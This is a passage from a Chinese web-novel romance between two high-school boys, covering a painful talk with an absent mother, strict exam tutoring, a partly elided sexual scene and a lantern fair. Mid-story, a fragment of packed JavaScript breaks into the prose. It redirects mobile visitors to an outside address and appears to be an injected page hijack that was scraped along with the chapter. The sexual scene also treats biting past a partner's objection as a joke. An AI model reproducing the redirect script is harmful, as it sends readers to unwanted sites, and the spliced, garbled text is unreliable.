“那种感觉太难受了,生活变得好像一团浆糊,粘稠又沉重,”田女士的脸上浮现出痛苦的表情,“医生建议我远离致郁因素,尝试不同的生活方式,转移注意力。于是后来,我跟你爸爸离了婚,重新找了工作,想要开始新的生活。” 阮牧年忍不住打断她:“……那我呢?” “你……这就是我最痛苦的地方,”田女士的目光落在墙角,眼尾有些红,“虽然很残忍,但我那时候,根本不想看见你。对不起,牧年,明明是我毫不讲理地将你带到这里,却无法负起这个责任。我不想看见你,一旦想到你,那种难受窒息的感觉就会找上来,所以最后我只能拜托我弟弟他们照顾你。我做不到时常去看望你,也无法接近甚至触碰你,我能做到的最大限度就是隔着别人,提供一切我力所能及的资源。” 所以从来不敢亲自过问他的现状,所以总是跟别人打听,却从未亲眼看过自己的孩子。 阮牧年站在那里,看着她的侧脸好半晌,才轻轻挑了一下唇角:“这样啊。” 那声音似乎是失望,又似乎没有,只是心灰意冷惯了的喟叹而已。 “跟你说这些,也不是想让你理解我,”田女士说,“我没有尽责是事实,你因此埋怨我也在情理之中。但你有权知道这件事,而不是被蒙在鼓里。” 阮牧年偏头,背过光的角度,令他眸里的情绪晦涩不明。 他就这样开口,语调没有起伏:“原来如此。你当年很痛苦,是吗?又沉闷又压抑,每天像走在深海里,时常无法呼吸甚至窒息……对吗?” 田女士有些惊诧:“你怎么……” “那真是太好了,我也有这样的感受呢,”阮牧年笑了起来,眉眼一片阴郁,“这些年我遇见那些对我有意的女孩子,看见她们眼里的情绪,我也会这样难受。我总是会想起您和父亲争吵的画面,总是想起那只被你们砸碎的盘子和你捂在我脸上的手……简直喘不过气来,跟您说的太像了,原来这种痛苦,叫做抑郁啊。 “别担心,我也只是认为你有知道这些的权利。我当然不会原谅你的,妈妈。不是因为我不能理解你,而是因为我太理解你了,可我的痛苦都是因你们而起,我没办法不怨恨你。 “事已至此,我不会再去责怪您当年的过失……也希望将来你看到我无法与任何一位女孩子结婚生子的时候,心里不要有愧疚。” 田女士眉心一皱:“什么意思?” “原来我们真挺像的,都是胆小鬼,”阮牧年嗤笑一声,“不过我已经走出那一步了。谢谢你愿意在今天把话说给我听,也希望你同样能走出那一步,我们都不要再逃避了。” “等等,你……”田女士感觉自己怎么听不懂这孩子说的话,“你说的那些都是怎么回事?什么叫做无法……” “就像你不想看见我一样,很好理解吧?”阮牧年说,“听你说这些,我其实有些开心,原来不止我因为你们而难受。给你带来痛苦我很抱歉,妈妈,但这恰好证明我们之间多么公平,因果连环,对吧?” 田女士:“我们……给你带来阴影了吗?牧年,你再说清楚点……” 阮牧年侧目瞥了眼门外,冷硬地打断她:“徐叔叔好像来了。这些东西你自己提过去,可以吗?我就不跟过去了。” 田女士显然想跟他再多说几句,但徐叔叔的电话已经打来,她不得不接起来:“嗯,我已经在楼下了……看到了,这就来。” “那我先上去了,”阮牧年躲开她的目光,快步走到楼梯边,“新年快乐,妈妈,路上小心。” 一口气爬到桑群家那一层,阮牧年才停下脚步,往下看了一眼。 根本看不清,也没有听见其他动静。 他暗自长出了一口气,心里有种说不明的轻松感,不知是释放了这些年的压抑所致,还是刚才隐秘报复生母带来的阴暗快感。 他其实很早就知道自己有些想法并不健康,但想一想,这世界上又有多少个正常人呢?他愿意装作正常的样子活下去,已经很不错了。 阮牧年拍了拍脸蛋,回桑群家里可不能这样拉着一张脸。 刚走到门边,就听见里面的说话声,大门半掩着,给他留了一条缝。 阮牧年的手搭上门把,正要推开,却在听见里面的话语后顿住动作。 “……你懂什么,”这是桑群的声音,“我肯定要娶他的。” 83. 83 诶? 阮牧年整个人僵在门外,桑群这个笨蛋到底在说什么啊? “你再奋斗个几年吧,”桑母嘲讽道,“你知道年年妈妈送来的礼物都是什么价位的吗?别看年年可怜,家里好歹也是能在商业区买房的经济条件。就你这样的还想下聘礼?洗洗睡吧,梦里什么都有。” 等等,阿姨怎么也……? “多少?”桑群偏要问。 桑母说了一个数字。 桑群闭嘴了。 “怕了?”桑母语带讥笑。 桑群贼心不死:“那订婚礼呢?这总可以少一点吧。” “嚯,”桑母惊叹,“你小子冷淡淡的,没想到是个情种。” “不过,要送他什么呢?”桑群又自顾自地琢磨起来,“我们已经有车有房了……” 桑母无语:“你一个每年准备五六份礼物的人问我?现在的小孩子真的是……” “对了,你可以开始准备婚服了,”桑群又想到了什么,道,“先说好,我要有暗纹的款式,那天我看到你最近在研究这个……” 他们到底在说什么啊?阮牧年身形不稳,被门槛绊了一脚,闹出动静。 屋内的两人停下话头,纷纷朝门口看去。 只见门扇晃悠悠地推开,后面站着大红脸的话题主角。 两人一愣,桑母:“啊,年年回来啦。” 阮牧年羞愧地站在那里,大脑一片混乱,眼一闭,心里的话脱口而出:“对、对不起,阿姨!是我把桑群拐走的,你要怪就怪我吧!我会下聘礼娶他回家负责的!请您不要拆散我们呜呜……” 桑群被他吓了一跳,连忙上前捂他嘴:“你突然这么大声干什么……” “阿姨不让你娶我的话,我娶你也是可以的,”阮牧年完全误会了他们的话,被吓得眼睛都红了,“对不起阿姨,请你原谅我……” 桑群赶紧拍了拍他的背:“什么啊,她没有要拆散我们。” 什么娶来娶去的,桑母的目光在两个人身上来回看了看,想着阮牧年刚才说的话,迷惑挠头:“啊?我站错了?” “你站什么站,回房间躺去吧,”桑群被这两人一闹头都大了,“你也是,年年,冷静下来。” 把让人操心的老母亲安顿好,再把心思敏感的男朋友推进房间里,桑群叉着腰叹了口气。 “说说看吧,”他看向阮牧年,“都在门外听到了什么?” 阮牧年伸着手抱过来,黏着他叽里咕噜了一堆:“阿姨怎么知道了啊?是不是我哪里暴露了……” “没有,是我昨晚抱你回去睡觉被她看见了,”桑群抱住他捏了捏,“放心好了,她不敢有意见,她自己也是早恋犯人呢。” “那、那你们刚才说的……” “闲聊到了,随便扯两句,”桑群说,“怎么还当真了?真要准备这些事,我肯定会跟你商量的。” 阮牧年轻轻哼了一声:“那不一定啊。说不定你为了娶我,特地瞒着我偷偷准备礼物,等我知道,就错失先机了!” 桑群叹了口气,抱着他慢慢往床上挪,在床边把人按好:“想什么呢。不瞒你,公平竞争,好不好?” “哦。”阮牧年仰着脑袋,冲他鼓了鼓腮帮。 桑群抬起手指,戳破了小河豚的泡泡脸蛋,帮他拨了拨额发:“倒是你,跟你妈妈聊得怎么样?” 阮牧年神情微怔,明明刻意掩藏了,怎么还是被桑群发现了啊? “没说两句。”他试图搪塞过去。 “眼神都出卖你了,”桑群在他后颈上挠了挠,低声说,“以你的听力,怎么会弄错我和我妈的意思?只能是心里乱,所以才误会了。” 原来是这里出了差错,阮牧年低下头,拿脑袋顶他肚子,钻了钻:“我没有难过啦,就是……说不清楚。” “嗯,”桑群的手指没停,不痒也不疼,“慢慢说。” “我、我妈妈跟我道歉了,”阮牧年埋在他肚皮上说,“我没有接受……好奇怪啊,我是不是应该更坏一点,这样心里就没负担了,不会像现在这样纠结。” “能坏到哪里去?你这个软绵绵的家伙,”桑群的手移到他肩背上,轻拍着,“纠结也是正常的。一开始都会比较难受,后面慢慢的就好起来了。” “会变成什么样啊?” “不知道。但总不会更坏了。” “好像也是。” “嗯,放宽心,顺其自然吧。” 阮牧年安静地抱了他一会儿,手扯着桑群腰侧的衣服拉了拉:“桑群。” 忽然叫全名干什么,桑群应他:“嗯,怎么了?” “你怎么还不去写作业。”阮牧年说。 桑群动作一顿,当即将想把他甩床上。 他推着阮牧年的肩膀,把人压到床上,手顺着衣摆缝隙钻进去挠痒痒:“我在陪伴你,你怎么这样,嗯?” “哎呦,哈哈哈哈,”阮牧年半眯着眼缩起身子,被他挠得直笑,“好嘛好嘛,你不要挠啦!” 他长腿一勾,翻身把桑群反压住,双手抓过头顶:“不许乱动。” 桑群仰头看他:“好,我缴械,包括笔。” 阮牧年立刻松手,直起身:“那不行,快去写作业。” 桑群躺在那里看他,对方居然真的不再与他玩闹,还过去把书包里的卷子资料掏出来放桌上。 “真要写啊?”桑群坐起来,有点不情愿。 “当然了,你今天的任务就是这个,还有这个,两份卷子,计时完成,明白吗?” “啊。”桑群坐在床边没动。 阮牧年走过去赶他,顺便霸占了他的床,伸着懒腰打了个哈欠:“早上起太早了,好累,我要午睡一会儿。” 桑群连忙道:“那我也要。” 阮牧年摇头:“你不行哦。你还有精力算聘礼,思维正活跃着呢。先把模拟卷二的选择题做完,填空题做到第15题。” 桑群苦大仇深地坐到书桌前,卷子就摆在他面前,页码都翻好了。 “做完可以午睡吗?”他问。 “嗯……可以,”阮牧年又打了个哈欠,“开始计时了哦,按照题目类型划分,单项选择题15分钟,开始吧。” 好严格,桑群提起笔,刷刷开算。 没算两题,他就卡壳了,反复推了好几遍,还是不太对劲,算了下一题吧,等等,怎么比上一题还难。 磨磨蹭蹭终于到了第6题,阮牧年躺在床上,双手垫在脑后喊了声:“时间到。现在马上去做多项选择题,剩下的单选不用管了。多选10分钟,开始。” 这么快?来不及为没算出来的第6题默哀,桑群马不停蹄地开始算多选题。 “停。填空10分钟,开始。” “……哦。” 做到最后头昏脑胀的,快两周没接触数学题,他感觉自己的智商好像退化到了森林古猿时期。 阮牧年断断续续眯了十几分钟,计时结束后起身晃过来,摸起红笔给他批改。 勾,第2题选错了,勾错错,又错,哦没写还是错的…… 桑群看着他眼也不眨地给自己改完,从单选到填空,15道题,胜率五分之一。 “嗯?”阮牧年转了一下红笔,眉梢微微挑起,“第4题你期末复习的时候还是对的呢。” 桑群感到愧疚:“我已经忘光了。” “没事,”阮牧年拉起他的手,牵着他回床上,“来吧,睡午觉,半小时。” “午觉也要计时?”太魔鬼了吧。 “你需要哦,”阮牧年拉过被子,跟他一起裹在暖和的被窝里,“不小心睡到晚上就糟糕了。好了,开始睡觉。” 桑群默了默:“……你这样我睡不着。” 阮牧年闭着眼睛凑过来,在他唇边软软地亲了一下,用鼻尖蹭着他:“闭眼啦桑桑,午安。” 好吧,看着午安吻的份上,他努力入眠一下。 没想到顷刻间就睡着了,早上确实起得太早,闭上眼皮没一会儿,困倦就一股脑涌上。 然而刚睡着,就被阮牧年摇醒了。 “时间到了,桑桑,”阮牧年趴在他耳边叫,“起床写卷子啦——” 他真的睡着了吗?桑群睁开眼,想像平时那样发起床气,结果发现自己居然异常清醒。 “嗯?”他觉得有点不可思议,“好精神。” “当然了,科学的午睡时长就是20到30分钟,”阮牧年拖着他的胳膊把人往桌边拉,“继续努力吧,桑桑。现在开始做计算题,60分钟。” 桑群问:“那你呢?” “我再躺一会儿,”阮牧年回去赖床了,缩进被子里滚了好几圈,“你专心点,不要太关注我。开始计时啦。” 又来,桑群连忙拿起笔,继续磕磕绊绊地计算。 计时结束的时候,他依旧没有写完,还剩两道大题。 小寿司终于舍得从床上挪下来了,拎着红笔软骨似的趴在他肩膀上,唰唰批改。 “速度太慢了,桑桑,”阮牧年边改边说,“每次都剩两三题做不完,下次争取做到倒数第二题,好不好?” “嗯……知道了,”桑群觉得耳后痒痒的,这家伙怎么这么粘人,“现在可以休息了吗?好 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阮牧年转身骑在他大腿上,一手搭在他脸颊边轻摸,探头凑近,边观察他的表情,边若有所思:“……我明白了。做题限时是需要紧迫感,但休息不用。” 桑群连连点头:“对的。” 下一秒,阮牧年就说:“看来不应该告诉你休息时长。” 桑群:“……” 他是这个意思吗? “那这次多休息休息吧,”阮牧年果然没提多久,只说,“走,去床上。” 桑群:“干什么?” 阮牧年从他身上下来,走到衣柜边蹲下:“看番。” “好的。”桑群立即站起来。 阮牧年掏出衣柜底下的老电脑,又指挥桑群拿来前几天买的零食,两人将枕头和被子堆成小型的家庭影院软沙发形状,舒服地靠到上面。 “我们看什么?”桑群问。 阮牧年输入网址登录,边划边说:“我之前看到一个超有意思的,一直忍着没看……喏,就是这个,你看简介。” “嗯……”桑群浏览了一遍,“嗯嗯,就这个。” “薯片我要吃黄瓜味的。”阮牧年手上调整着播放设置,说。 桑群撕开包装袋:“第一片谁的?” “我的我的,”阮牧年手指还按在键盘触控屏上,脖子半扭过来,巴巴地看着他,“啊——” 桑群朝年年大嘴垃圾桶里投放薯片,舌头识别出垃圾类型,牙齿自动咬合进行物理分解。 “小馋猫。”桑群嗤声。 终于调好了,阮牧年摆好屏幕角度,靠回枕被沙发上:“你有背着我偷吃吗?” 桑群:“没,谁要跟你抢。” 阮牧年嘿嘿笑了两声:“又到我了,啊——” 桑群再次投喂,顺便捏了捏他的脸,把人掰过去:“开始了,认真看。” 阮牧年盘着腿,脑袋放他肩膀上:“哇片头曲好好听……啊啊啊,又到我啦。” “别催,少不了你的。” 剧情偏悬疑类型,随着故事展开,种种谜团浮出水面。 阮牧年安静地嚼着薯片,看见某一幕画面后,忍不住轻声开口:“诶,这个花瓶……” 桑群一巴掌捂住他的嘴:“不准说话。” 阮牧年摇头拿掉他的手:“唔唔,我不说不说。” 桑群谨慎地给他投喂薯片,随时准备掐掉他的发声。 倒也不是阮牧年多么聪明,开头就能推出结局,但这家伙的直觉强得可怕,上次他随口说了一句“那个很没存在感的女人好像凶手啊”,让桑群忍不住先入为主,结果那真的是凶手,一点观看体验都没有。 不出所料,阮牧年提到的花瓶果然在后面起到了关键作用,还好没让这家伙说下去,至少主角的做法还能令人眼前一亮。 一口气看了三集,两个人都意犹未尽。后面的剧集大会员抢先看,只能等过两天的更新了。 方才进行到关键情节,他们没空吃零食,于是现在开始进行局后结算。 “从你开始,到我结束,”桑群晃了晃薯片袋子,“还多了一片,怎么办?” 阮牧年扒他的手:“一人一半。” 桑群不同意:“碎渣会掉床上。” 阮牧年说:“那你小心点嘛。” “一块吃好了。”桑群说。 “一块吃你放自己嘴里干嘛……唔。” 桑群含着那块薯片吻住他。 84. 84(有删减) 很新奇,薯片味的吻,清凉带着脆,舌尖相触时还有些微刺,但是……很好吃。 笔记本内置散热扇还在转动,发出嗡嗡的噪音。本来只是一起吃零食的两个人,莫名其妙纠缠在了一起。 薯片已经吃完,渣也没剩,可桑群还是没有放开他。 眼皮颤了一下,阮牧年半睁开眼,桑群阖眸攒眉的脸近在咫尺。 对方按着他的后颈压深的时候,阮牧年能感觉到眼睑被长睫轻轻扫过的微痒。 随着脸颊上触感漫开的,还有心底蛰伏已久的暗流。 桑群温柔地攫夺他的呼吸,贴着唇低声问他:“好吃么?” 阮牧年眼尾染上薄红,抓着桑群衣摆的手慢慢移到对方后腰侧,另一只手按在他肩骨上,在那句低语落下时蓦地一压,将人扑倒在柔软的床上。 桑群猝不及防被人咬了口下唇,阮牧年抵着他回吻,尾音含糊带着鼻音:“……好吃。再让我尝尝吧……” 惯会装乖卖萌的人总是让人放松警惕,顶着一张纯情无辜的脸,常常叫人忘了对方皮相下并不老实的本质。 接吻的时候桑群习惯闭着眼,因此并没有注意到阮牧年垂着长睫的眼眸漆黑幽邃。 阮牧年按在他后腰的手一点点蹭进衣摆里,摸到他肋骨处,重重地捏了一把。 桑群蹙眉轻嘶一声,气音刚发出就被压在身上的人吞掉,淹没在一片啧啧声里。 与一开始的莽撞青涩不同,汲取了足够知识的阮牧年不会再胡啃乱咬,虽然不如桑群那般技巧十足,但也足够缠人。 只是今天,缠人的小狗还有些凶。 舌侧一疼,桑群顿时揪着后领把人拎开:“嘶……你咬到我了。” 阮牧年微张着唇瓣,舌尖半露,白里泛红的脸色看起来惑人极了。 他低下头在桑群鼻尖蹭了蹭,用那双水汪汪的大眼睛讨好地看着他:“对不起,那我轻点。” 桑群不自在地挪了挪背:“能把你的手拿开吗?” “为什么?”阮牧年问。 “换个地方捏行不行,”桑群不满地推他的胳膊,“疼。” 阮牧年低头一看,自己没控制力道,桑群腰边已经红起来了。 他垂下眼,若无其事地抽出手遮好那块皮肉的衣料,很乖地应道:“嗷,好的。” 桑群刚想夸他,下一秒就后悔了。 因为阮牧年摸上了他的裤腰。 “等等,年年!”桑群慌忙抓他的手,挣扎着,“我房门没锁……” 话没说完,一股巨力袭来,桑群被按着肩膀翻过去,衣角蹭起露出半截腰。 (……) 经此一役,床单已经惨不忍睹了。桑群趁他虚弱之时终于翻身起来,忍着怒气一拳砸他肩膀上。 阮牧年被他砸进枕头里,娇弱地哎呦了一声,用含着水光的眼睛无辜地盯着他。 什么意思?以为这样他就会心软放过这个为所欲为的家伙吗? (……) 桑群去衣柜扯了条新床单出来,走路的时候两腿间隐隐发疼,绝对肿了,这臭小子色心上头从不手软。 他冷着脸走回来,搬开床上的用品赶人:“滚下去。” 阮牧年唯唯诺诺地站到一边。 等重新拥有一张干净整洁的床,桑群又去开窗通风,舒了一口气在床边坐下,肩背放松就要往后靠。 腰肌传来一阵酸痛,还带着隐隐的锐刺感。 靠,这也被咬了? 阮牧年见他脸色忽然又变差了,小心翼翼地爬上床,在他旁边的枕头前跪坐下,软软地开口:“桑桑……” 桑群看见他就烦:“闭嘴。” 阮牧年撇了撇嘴,过了一会儿又伸出一根手指,轻轻勾住他的衣角拉了拉。 桑群条件反射一躲,上半身悬空,却没料到腰部酸痛没撑住,险些从床上摔下去。 阮牧年长臂一捞赶紧接住他,抱进怀里闭嘴控诉道:“嗯嗯嗯嗯嗯嗯嗯!” 桑群同样惊魂未定,愣了好久才伸手推他:“说人话。” “你也太不小心了,撞到哪里怎么办?”阮牧年皱着眉不撒手,“我错了,我不该把你咬到快出血,你说别咬的时候我就应该停下的……你要是生气打我骂我都可以,不要躲开我,好不好?” 居然不是肿起来,而是快出血吗?桑群顿时更气了:“你也知道?不躲开你又言而无信怎么办?” “我这次会的,真的,”阮牧年连忙保证,“我刚才脑子乱乱的,所以才没听你话……你再信我一次吧,求你了桑桑……” “那你松手,”桑群皱眉,“不要这样抱着我。” 阮牧年小心地把他放到枕头上,不舍地收回手。 桑群看着他,开始审问:“刚刚那个从哪儿学的?” “啊……”阮牧年挠了挠头,“看小黄文学的。不舒服吗?那我下次换一个。” “……也没有,但你要跟我说清楚,”桑群教训他,“万一你是想……那就不行,要考虑场合。” “想什么?”阮牧年迷茫地眨了眨眼。 桑群怀疑地看向他的眼睛,只从对方清澈的瞳孔里看见了黄色的自己。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356362|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原来阮牧年没想过那事吗? 他轻咳一声:“……没什么。总之,要用嘴说清楚,不要老是说废话。你好好跟我说,我又不会不答应,明白吗?” 阮牧年直点头:“明白啦,桑桑老师。” 桑群抓了抓身上的皮肉:“还有,你到底咬了我多少地方?” “呃,不清楚啊,”阮牧年心虚地移开目光,“脖子和肩膀?啊哈哈,腰上好像有一点点,呃,你别这样看着我呀……好吧我承认我还偷偷在你屁股上咬了一口……” 桑群顿时瞪大眼睛,哪儿来的邋遢鬼,这都不嫌脏吗? “那你还跟我接吻?”问完这句话,他瞬间觉得自己需要去洗嘴。 “没有没有,”阮牧年连忙摆手,“那个是最后咬的,很小心,没有碰过你的嘴!” 桑群脸都瘫了。确实很小心呢,不说他都不知道。 他越想越气,最后气笑了,冲阮牧年勾了勾手指:“你过来。” “怎么了?”阮牧年好奇地爬过去。 桑群附在他耳边,压低的嗓音暧昧惑人:“下次你再乱咬,(……),听见了吗?” 阮牧年的脸慢慢红起来。 还知道害羞,哼,也不算毫无底线,桑群正想着,目光下瞥,然后顿住。 阮牧年的运动裤好像凸起来了一点。 操,这什么变态? 桑群脸色一变,连狡辩的机会都不给,赶紧一脚踹过去。 本来是虚晃一脚,没想到真踹中了,阮牧年闷哼一声,瞬间从床上消失。 靠窗那侧的过道里传来一声巨大的响动,然后寂静笼罩了整个房间。 桑群坐在床上还没回过神来,屋外响起一阵敲门声。 “怎么了?这么大动静,”被声响吸引过来的桑母担忧地问,“什么东西掉了?” 屋里没有回应,她心里一急,第一次不顾礼节地推开门。 屋内跟早上的样子大差不差,就是窗户开得有点大,而她亲爱的儿子坐在枕头上,衣衫不整,脸颊泛红。 “呃,”她瞬间不敢乱看了,轻咳一声就要出去,“不好意思打扰了……” “等等,”桑群叫住她,“你过来看看,年年掉下去了。” 掉哪儿去了? 桑母走到床隔墙的过道一看,地上瘫着一坨丿一一丨一丨。 桑群扒在床沿。过道太窄,他一脚下去说不准会把人踩到,这才叫他妈在旁边帮忙看一下。 “年年,你还好吗?” 阮牧年头朝下趴在地板上,生死不明。 85. 85 “他咋掉下去的?”桑母觉得这事很离奇。 桑群轻咳一声,不愿多说。 桑母贴着墙靠过去,跟桑群一左一右把人架起来,阮牧年脸都扁了,两颊红通通的。 “阿姨……”他爬起来后就贴着墙靠在桑母身上,带着鼻音告状,“桑群他踹我呜呜……” “哎呦不哭不哭,阿姨看看,”桑母心疼地给他摸脸,“我的天呐,脸都肿了。桑群,你搞什么呢?” 这不对吧?真正的受害人桑某有苦说不出,凭什么色狼被防卫过当就可以颠倒黑白? “不是,”桑群想着措辞,“他……我……然后他就掉下去了,怎么能怪我?” “难道还是年年自己打滚掉下去的吗?”桑母向来公正,“赶紧的,给年年道歉。” 靠,早知道他就自己拉人了,大不了再被啃一口。桑群低下头闷声:“对不起,年年。” “没事的,”阮牧年吸了吸鼻子,伸手过来拍他,“我原谅你啦。” 桑群冷哼一声,在他妈目光的威慑下乖乖闭嘴了。 “除了脸,其他地方有没有摔到?”桑母上下检查了阮牧年好几遍,“疼不疼?阿姨那儿有些药膏……” “不用啦阿姨,”阮牧年甜甜地说,“这点高度还好啦,刚才有点站不起来,现在已经好多了。” “那就好,”桑母点点头,“你要是摔断腿了,不用担心,我马上把这小子的腿一块打断。” “喂。”桑群顿时往后缩了缩。 太可怕了,这母子俩。 一个咬人,一个打人。 又慰问了几句,桑母说:“你们刚才干嘛呢?这几天还有计划吗?” “刚才让桑群写了会儿作业,后面还午睡了一会儿,”阮牧年答得滴水不漏,“计划的话……还没有诶。” “有,”桑群在旁边说,“晚上老公园有一场灯会,六点开始,九点结束。” “嗯?”阮牧年看向他,这件事桑群还没提过。 “哦灯会是吧,六点的话那我早点做晚饭,”桑母点头,“老公园有点远,我就不跟着凑热闹了。你们俩出门要小心啊,过年人多又杂,别被人偷东西或者走散了……” 唠叨出门后,阮牧年揉着腰坐回床沿,矫揉造作地叹了口气。 桑群抿了抿唇,还是没忍住:“……疼不疼?” “疼!”阮牧年立刻抬头,泪眼汪汪地看着他。 会撒娇真好命啊,桑群一边在心里唾弃心软的自己,一边伸出手把人抱进怀里揉屁股:“虽然是我踹了你,但你也得反省反省自己。” “我哪里错了。”阮牧年很委屈。 桑群往下看了一眼,表情不言而喻。 “这个也不是我能控制的呀,”阮牧年拉了拉衣角,反过来怪他,“不是你先调戏我吗?” “我?”一口大锅从天而降,桑群揉不动了,想给他来一巴掌,“我为什么会那样说?不是因为你先乱咬人吗?” 阮牧年对手指:“可你勾引我呀。” 桑群:“???” “我错了,”看桑群似乎想跟他打一架,阮牧年连忙滑跪道歉,“是我色欲熏心,对不起,桑桑。” “呵,”桑群冷笑,“我没那么快原谅你。” 阮牧年慌了,揪他衣角:“那你要怎么样啊,让你咬回来可以吗?” “我又不是乱咬别人屁股蛋的疯狗,”桑群拒绝这个补偿,“晚上看你表现了。” 阮牧年若有所思地点头:“你要摘最上面的灯笼的话,我用肩膀扛你上去。” “神经,”桑群被他吓一跳,“我没那么没素质。” 那是要怎么表现? 阮牧年百思不得其解,好不容易熬到吃完饭出门,坐公交车前往老公园。 “为什么要去看灯会呢?”他问。 “也不算是灯会,”桑群说,“或许换一个词,庙会,能理解了吗?” 阮牧年怔了怔。 “不过那里没有庙,也不需要上香,”桑群说得很随意,“节目倒是不少。你不是一直喜欢看吗?觉得合适就想带你去了。” 阮牧年陷入了沉默。 到了地方,桑群自然而然地牵起他的手放进口袋里。公园里张灯结彩,他们并肩走过喧闹的人群。 彩灯挂在红绳上错落有致,主干道特地打扮成古城模样,小摊贩们支着木牌吆喝。 形形色色的人从身边走过,自己好像也只是沧海一粟。可偏头一看,某个人的眼眸里面只装得下一个他。 彩灯尽头是表演舞台,红毯铺了五层台阶高,他们只需抬头就能将演出尽览无余。 不会再有人不小心撞到他,也不会有人踩到他的鞋子,更不会有人弯腰抓他,质问他的监护人在哪里。 他也是有人陪同的小孩了。 不,一直都是。 绚烂耀眼的灯光下,众人为舞台欢呼雀跃,阮牧年侧眸,眼里同样只装得下另一个人。 桑群不再是平常那副冷冰冰的样子,对路边旋转365°丢铁圈结果套自己头上的小孩发出嘲笑,斜挑的唇角一如初见模样。 察觉到他的目光,桑群回过头:“怎么了?” 阮牧年忽然说:“桑群,我喜欢你。” 周围太吵,这句表白甫一出口就散入人声中,桑群只来得及捕捉到它的尾音。 他似乎不太明白阮牧年为什么忽然这么说:“什么?” “我说,”阮牧年凑近他的耳朵,“我想跟你一直在一起。” 桑群笑了,捏了捏他的脸:“这是新年愿望吗?” “算是吧。” “早就能实现的愿望,”桑群嗤笑,“说出来神明也不会理你的。” 这话不错,自从遇见桑群之后,他失去的一切都在慢慢回归正轨。 阮牧年却说:“我故意的。我就是要多说几遍,让他不准忘记眷顾我们。” 桑群无奈:“你说它就听啊?” “对啊,”阮牧年斩钉截铁道,“你别不信。” 桑群当然不信。 但阮牧年知道,这并非痴心妄想。 早在18岁生日那天,他就知道了这件事。 与以往许下愿望不同,那一次,他并没有祈求什么,而是对看不见的神明抛出一个问题。 “如果世界上真的有神明的话,可以把我失去的一切都弥补回来吗?” 而现在,他对上桑群的目光,无声地笑了笑。 他的神明早已回应了他。 新年假期的头几天,是这座城市最松弛的时光,大年过后,人们逐渐返工返校,年味也渐渐散了。 高二生的寒假甚至都没撑过元宵节,学校和返校考热情地呼唤同学们回来。 只是这些对于桑群来说,并没有太大差别。 原因无他,过年后的每一天假期,他都在写作男朋友读作教导主任的严格监视下进行无付费补习,从语文到物理,从化学到英语,还有每天不落的数学卷子,头昏脑涨,学海沉浮。 快淹死的时候,居然是返校考救了他。 “今天先不做练习吧,”阮牧年搬着课本放到他桌上,“复习一下返校考内容。” “好的。”桑群坐直,欣然接过复习资料。 阮牧年看了他一眼:“我明天要抽背。” “啊?”桑群傻眼,这么多怎么背得过来? “所以复习也不能偷懒哦,”阮牧年拍了拍他的脑袋,“别看睡着了,我去洗澡。” 开学前几天,他们提前搬回了出租屋。 桑群怨恨地看着桌上快高过他下巴的课本。 但魔鬼训练是有效的,返校考成绩出来后,大多数人都目瞪口呆。 “年段前一百名?桑群?真的假的?” “这两个词分开看我还能理解,合在一起我完全无法接受。” “你们糊涂呀,”作为六爷的资深前桌,刘嘉很有发言权,“以六爷上学期的进步速度,爬进前五十是迟早的事!哦不,干掉牧年是迟早的事!” 刚刚晋升年段第一的阮牧年听见这话,意味深长地笑了笑。 桑群对排名不感兴趣,铃声一响就趴下来睡觉。 干掉阮牧年?他只要不是倒数第一,就很心满意足了。 而这一切变化的最大赢家,非班主任张老师莫属。新学期评选结果一下来,张老师如愿捧回明星班主任的奖状,裱起来挂在办公桌边的墙上,这个人的气质都温柔不少。 她就说桑群这孩子孺子可教也,这学期也乖乖回来上晚自习了,跟牧年互帮互助一起进步着,简直是模范同桌啊。 模范吗? 桑群支着脑袋看讲台上又被评为三好学生的同桌,后腰还在隐隐酸痛。 没有人知道表面上阳光开朗的好学生背地里都是什么德行,长期受他荼毒的男朋友最有发言权。 这家伙简直是个控制狂,按他说的做还好,一旦不听话就会开始发疯。 “你觉得加练太辛苦了吗?”阮牧年歪着脑袋,用一副很无辜的表情威胁他,“可是昨天小测,你做过4遍的题目又错了。不加练的话,换个方式惩罚你?” 谁家惩罚在床上玩戒尺,桑群敢怒不敢言,心里憋着一口气。 但随着课业加重,第一轮复习接踵而至,班级里难免心浮气躁,桑群也不自觉地受到了影响。 又一次把阮牧年举一反三过的题型做错,他烦得不行,啪地把笔扔到地上。 “不写了,”他低声骂了一句,“这破题谁爱写谁写。” 阮牧年坐在旁边,皱起眉正要说他。 桑群起身,一脚踹到桌子腿上,立在桌面上的书本应声掉落,他双手插兜冷着一张脸回了卧室,啪地关上了门。 巨响之后,客厅里一片安静。 阮牧年愣在原地,看向那道让桑群发火的题目,头一次没有追上去要他好好解题,而是默默帮他把作业都收起来。 物极必反,长期苦练也不是办法。 他开始反省自己的问题,琢磨了一晚上,半夜醒来习惯性伸手一摸,却发现身边空荡荡的。 阮牧年一下子惊醒,坐起身,卧室外散发着淡淡的光。 他下床推开门,书桌边点了盏小台灯,桑群正坐在那里奋笔疾书。 阮牧年眨了眨眼,轻手轻脚地走过去,低声问:“……不是不写了吗?” 桑群挥动的笔尖一顿,没好气说:“当然。破A大谁爱考谁考,老子要考清华北大。” 阮牧年笑出声,伸出胳膊从后面搂住他的脖子,轻轻地说:“那就不写了,这个知识点的考察方式本来就刁钻,很容易挖坑,就是出来搞人心态的。我们回床上睡觉吧。” 桑群微微向后仰头:“真不写了?” “嗯,”阮牧年温柔地吻在他发顶,“不好拿的分就不拿了,不差这一点。我们做好我们能做到的就行。” “什么是能做到的?”桑群问。 “现在回去睡觉,养好精神,”阮牧年告诉他,“明天上课不犯困……这就是我们能做到的。” 桑群沉默了一会儿,问:“你为什么总是这么镇定呢?” “在学习这方面,我是专家呀,”阮牧年轻笑着说,“埋头苦学不行,只会钻空子也不行,越学越深就会发现自己原来那么的无知,但你要知道,坚持下去不一定会成功,提前放弃的人注定失败。” 桑群没再说话。 事实证明,学习专家的话是对的。被浮躁击垮的人,一个个从高位往下跌,而那个让所有人惊讶的名字,从一百名一路往 